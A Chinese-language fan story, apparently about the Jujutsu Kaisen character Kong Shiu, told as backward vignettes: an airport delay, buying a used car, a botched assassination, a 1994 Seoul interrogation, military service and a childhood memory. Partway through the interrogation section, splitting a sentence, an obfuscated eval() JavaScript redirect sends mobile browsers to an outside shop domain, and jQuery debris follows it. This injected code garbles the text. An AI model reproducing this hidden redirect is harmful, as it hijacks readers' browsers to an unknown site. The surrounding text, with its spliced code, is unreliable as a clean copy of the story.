羽田机场。第二航站楼，国际线，登机口附近。
航班延误两小时。广播用日语、英语、韩语轮播了三遍。
孔在登机口对面的椅子上坐下来。深灰色西装，黑色皮鞋，小型登机箱搁在脚边。路过便利店时随手买的咖啡，放在椅子的扶手槽里没动过。
烟瘾上来了。
吸烟室在另一头，要绕过中央通道。他站起来。
右手伸进西装裤口袋摸打火机，手指碰到口袋的布料，又往里一点——
停住了。
那个位置什么都没有。
他知道这一条西装裤没有内袋。这一条没有，上一条也没有，上上一条也没有。十几年来他穿过的所有裤子都没有那个袋子。
他的手停在那个位置一秒，然后收回来。
前面走过去一对老夫妻。男的拎着女的的小包。女的在看登机牌，皱着眉，说了一句什么，听不清。
广播又响了一次。
孔抬起头，看了一眼远处跑道上的飞机。
傍晚的光在窗外，被玻璃过滤过，落在地板上。
——
2003年。
“预算?”
“六百左右。”
“新车?”
“二手的也可以。”
“用途?”
“工作需要，所以”
“啊——要不显眼的。”
“是的。”
那家店在东京郊外，环七线边上。下午三点多。秋天。银杏叶已经黄了一半，但还没掉。
店主姓中田。五十多岁，穿一件不太干净的深蓝色工装，袖子卷到手肘。
车停在车库最里面。
银灰色，丰田皇冠，1998年款。两位前任车主——第一任是一家小型贸易公司的老板，开了三年。第二任是那位老板的女婿，开了两年。
孔点点头。没说话。
他沿着车身走了一圈。车漆没什么划痕。有几处补过，但补得很好，远看看不出来。轮胎换过。底盘是干净的。
他蹲下，看了看排气管的内壁。
中田站在旁边。
打开引擎盖。机油的颜色还可以。皮带是新的——半年前换的，中田说。冷却液干净。
合上引擎盖。
拉开驾驶座的车门。坐进去。
车内是布座椅，深灰色。方向盘磨得有些光滑——前任车主习惯左手握十点钟的位置，那里的皮纹比别处淡。仪表盘很简单，模拟指针，数字小小的。中央扶手箱里干净。后视镜——他扶了一下，调整到自己的视线。
座椅。他往后调了一格。
然后停了一下，又往后调了一格。比他的腿需要的远一点点。
手放在方向盘上。十点钟的位置。和前任车主的手印重叠。
“这个不错。”他说。
中田点头。
现金付款。孔时雨从公文包里数钱出来，八扎，放在中田事务所那张木桌上。中田没数，只是看了一眼，然后把车钥匙放在桌上。
“今后也请多关照。”
“谢谢。”
开出车库时是四点过五分。夕阳从环七线西边的方向照过来，打在挡风玻璃上。他把遮阳板放下来。
开了五分钟，在一个红灯前停下。
他从口袋里掏出烟，七星，点上一根，深吸一口。
烟头的灰掉在车里某个位置，脚垫，或者中央扶手箱的边缘。他没擦。
红灯变绿。
这辆车里的第一根烟。
——
2001年。
那个咒术师姓松本——不重要，他后来再没听过这个名字。一个咒力中等的诅咒师，身边养着一只贴身咒灵，业内常见的，低级，反应型。
执行人是大阪来的，姓什么也不重要。介绍人说“是个老手”。孔自己见到的时候，觉得也就那么回事。三十出头，精瘦，眼神有点散。带了一把咒具——一把短刀。
委托人要求确认对方身份，要孔自己去看一眼。
孔答应了。多收了一笔确认费。
过了晚上九点。埼玉。荒川支流边上的一片旧工业区，三十年前关掉的化工厂，现在只剩下水泥地、生锈的铁皮厂房、一条沿着河的步道。夜里没有人。远处一座小桥上偶尔有车经过，灯光从桥上扫过来。
松本以为是来谈一笔生意。地点是孔通过中间人定的。
孔的车停在堤岸上方的路边。从堤岸往下看，步道在水边，两边的厂房黑着。
九点二十分。松本从步道东边走过来。一个人。穿一件灰色风衣，手里拎着一个小公文包。
孔在车里看了一眼——
是他。
松本身边贴着那只咒灵，形态像一只小动物，蜷在他肩膀附近，半透明，压感稀薄。低级。孔判断过。执行人也判断过——执行人之前看过孔提供的情报里的描述，自己又远远看过一眼，确认了。
按低级伴生咒灵的协议：咒灵反应型，主人受到攻击时会动手。用附咒短刀，从背后或侧面快速近身，一刀解决主人。咒灵显形之前主人已经死了。咒灵失去主人，会自行消散。
这套协议执行人做过很多次。
孔点头。
执行人从车后下到堤岸下面的步道，沿着河边的暗处走过去。
孔留在堤岸上。车窗摇下来一点。右手放在腰后。
松本走到步道中段。
执行人从他后方靠近。三米，两米，一米——
松本回头，大概听到了脚步。
“你——”
执行人已经在挥刀。
这一刀该直接砍到松本的颈侧。
但那只咒灵显形了。
不是低级。
肩膀上那团稀薄的影子胀开，瞬间变成一团黑色的压感，半径两米，密度像一面墙。咒灵的级别从低级跳到了准一级——“压制式伴生”。
有些咒术师会从小压制自己的咒灵，平时看起来弱小，危急时才释放真实级别。孔听说过，这是他第一次看到。
执行人的刀撞上那面墙——
咒灵的压感把执行人推开，刀从手里飞出去，落在水边。
执行人后退，撞在堤岸的水泥墙上，滑下去半截。
松本转身——
那一秒，孔的右手已经从腰后抬起来。
堤岸上方。距离十几米。
一枪。
松本倒下去。
那团黑色压感停滞了一瞬，主人死了，它开始变得稀薄，慢慢散开，消失了。
河边只剩下水声。远处桥上一辆车经过，灯光扫了一下，又黑了。
执行人坐在堤岸下，半天没起来。
孔从车里下来，沿着堤岸的水泥台阶走下去，蹲在松本旁边，看了一下。
死了。
他站起来。把枪收回腰后。
“走了。”
执行人爬起来，跟着孔上了堤岸。两个人上了孔租的车，倒出工业区，开了一段，在一家二十四小时便利店附近的停车场停下。
凌晨一点多。便利店的灯亮着。停车场没别的车。
执行人坐在副驾驶。他说，“那个……”
孔点烟。
“抱歉，那个……”
孔吸了一口。烟雾弥散在车里。
“下回。”他说，“别让中介人做这种事啊。”
执行人没接话。
“你的佣金，扣三成。”
执行人嘴动了一下，想说什么，但没说出来。他点了一下头。
“明白。”
孔把烟掐在车窗外。
他启动车子，送执行人到新宿。一路没人再说话。
放下执行人之后，孔自己开车回当时住的地方，一个月租的小公寓，在荒川附近。他停好车，上楼，洗手，把那把枪拆开，擦干净装好，放进抽屉。
然后坐在窗边，又抽了一根烟。
窗外是凌晨两点多的东京。远处某条铁路上有一列货运列车经过。
他想了一下“别让中介人做这种事”这句话。
然后不想了。
睡觉。
——
1994年。
首尔。
那天的班是孔和姜组长一起。姜组长比孔大十六岁。八十年代中后期在治安本部做过事——南营洞的那种部门，特别审讯室。后来被调出来，降到地方所做刑事。降下来以后，姜组长就一直在这个所里，没再升。
那天有个大学生，二十出头，涉嫌发传单。
民主化以后这类案子不该再做了。但有些案子，做和不做之间，还有一个灰色地带。姜组长接的就是那种灰色地带的案子。
审讯室是地下一层。
孔站在走廊里。
走廊尽头的窗户开着一条缝，外面是后院的水泥地。夜里下过雨，水泥地是黑的。
姜组长在审讯室里。门关着，但门下面有一道光。
孔点了一根烟。
过了一会儿，姜组长出来。手里拿着自己的烟。
两个人没说话。姜组长把打火机递过来。
“火。”
孔本来已经点了。但他还是接过来，打了一下，递回去。
姜组长点上烟，深吸了一口。
两个人并排站在走廊窗户边。两支烟头的红点，亮一下，暗一下。
后院的水泥地上有一只猫走过去。
姜组长把烟抽完了，扔在地上踩灭，转身进了审讯室。
门在他身后关上。
孔在走廊里又抽了一根。
审讯室里的声音不大。桌子被撞了一下，椅子拖过水泥地的声音，姜组长低声的喝问。听不清话，听得清节奏。
没有惨叫。
姜组长是老手了，知道分寸。该让对方叫出来的时候让对方叫出来，该不让叫的时候不让叫。这个晚上的程度，不让叫。
孔抽完第二根。
又抽了第三根。
审讯室的门开了。姜组长出来，在裤子上擦了一下手。
“结束了。”他说。
孔点了点头。两个人回值班室。
值班室在二楼。日光灯是暖黄色的，老式的，嗡嗡响。木桌子，上面有一台旧的电脑，屏幕暗着。
孔在自己的桌子上写笔录。
姜组长走到对面的椅子上坐下来。从抽屉里拿出一个搪瓷杯，倒了一点冷掉的茶，喝了一口。
圆珠笔在纸上走。窗外没有声音。
过了一会儿，姜组长说——
“时雨啊，人生是美丽的，对吧？”
孔没抬头。
他写完那一行字，把笔放下。
“对。”
姜组长点了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565919|202172||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头。他站起来，把搪瓷杯放回抽屉，走出值班室。
孔继续写笔录。
笔录写完是凌晨三点多。他签了字，放进文件夹，锁进柜子。
走出警局的时候，雨已经停了。后院的水泥地还是黑的。他走回宿舍，洗澡，睡觉。
那一年姜组长五十一岁。
那一晚之后他又干了七年。退休前的最后一年，在自己家里上吊。家里人没声张，讣告上写“病故”。
孔那时候已经在日本了。听到消息是一个月以后，通过以前一个同事的电话。电话挂掉以后，孔在自己的公寓里站了一会儿。
然后去厨房倒了一杯水，喝完。
睡觉。
——
1989年。
兵役。某个夜班。
部队在江原道，靠近东海岸的某个步兵营，冬天冷得像石头一样的地方。现在是夏天，八月，夜里也热。
值班室的灯熄了一半，只开了门边的那一盏，光线昏黄。其他兵都在睡觉。孔在桌子上写东西。
写信。
写了几行，停下来，放下笔，右手伸进制服裤子的内袋。
那个袋子还在。新发的那一批制服，内袋还是有的。后来某一批改版以后没了——但那是退伍以后的事了。
袋子里有一张折了几折的照片。
他拿出来，摊开。
淡黄色的连衣裙。
是夏天，地铁站前的台阶，她在笑。
脸已经看不清楚。照片摆放过太多次，纸面那块磨白了。但她在笑。淡黄色的裙摆，到膝盖下面，白袜子，黑皮鞋。手里抱着一个小包。头发中分，长度到肩膀，卷了一点。
孔看了一会儿，把照片折回去，放回袋子。
把信折好，也放进袋子。
没寄。
那一晚之后，他没再写过信给她。
几个月以后，他不记得是哪一晚，她从首尔寄来一封信。
“时雨啊，我们就此结束吧。”
他回信说：
“好。”
退伍以后他没去找她，她也没来找过他。她大学毕业，去了一家公司，大概结婚了——他后来听同学说起过一两次，具体的没问。
那张照片他不记得是什么时候丢掉的。可能是新发制服的时候——内袋没有了，他换了裤子，某个口袋里的东西就转移了又转移，到最后转移不动了，就不见了。
也可能更晚。也可能更早。
记不准了。
——
1975年。
釜山。某个夏末。孔六岁，或者七岁。
公寓楼下的街口。
太阳已经落到楼背后了。天色红着。
三级水泥台阶，最下面一级有一道裂缝。孔蹲在第二级上。
他手里捏着一颗石子，灰白色，边缘磨圆了，可能是从港口的方向被风带上来的。
他什么都不做，蹲在那里。
街上有人走过去。一辆自行车骑过去，车铃响了一下。楼上某家电视里在放新闻，声音很小，主播在讲什么，听不清。
海风从某条街的方向吹过来。带一点咸味。
街对面，小卖部的旁边，墙根下面——
有一个东西。
不大，黏糊糊的。颜色说不上来——像是空气厚了一块，又像是有一团什么影子贴在墙根上。像是有五官，又像是没有。它没在动，但它在那里。
孔看了一眼，没站起来。
街对面卖鱼干的奶奶坐在自己的小凳子上，正在打瞌睡。她没看见。
骑自行车的人没看见。
爸爸下午就出门了，不知道在哪里。妈妈在楼上。
孔知道，他知道得很清楚，他们都看不见。
他知道得也很清楚，如果他喊妈妈看，妈妈会担心。像以前一样，“这孩子……”
他没喊。
他把石子放在水泥台阶上。
然后一只红蜻蜓飞过来。
他伸出右手，指尖朝上，慢慢靠近。
蜻蜓没动。
蜻蜓爬到他的手指上。
它的脚很轻，比他想象的轻。
红色的，翅膀透明，贴着背收起来，像玻璃。
蜻蜓的眼睛又大又圆，黑亮看不到底。它没看他。它看着街对面的某个方向——可能是那个东西的方向，也可能不是。
孔没动。
它停了一会儿，然后翅膀振了一下——
飞走了。往楼后面的方向。
天色还红着。
街对面墙根下，那个东西还在原地。或者已经不在了。
他没再看一眼。
就在这时候——
“时雨啊——”
妈妈的声音从楼上的阳台飘下来。
“吃饭了——”
孔站起来。
“好——”
他答应了一声。
石子留在台阶上。他跑进楼道，水泥楼梯踏着回声，一级一级往上，膝盖上一块痂被擦了一下，有点疼，他没在意。
楼上飘出海带汤的味道。
海带的香气，牛肉的香气，一点点酱油的香气，一点点蒜的香气。
他推开门。
“妈妈——”
妈妈在厨房里。
“去洗手。”
“嗯——”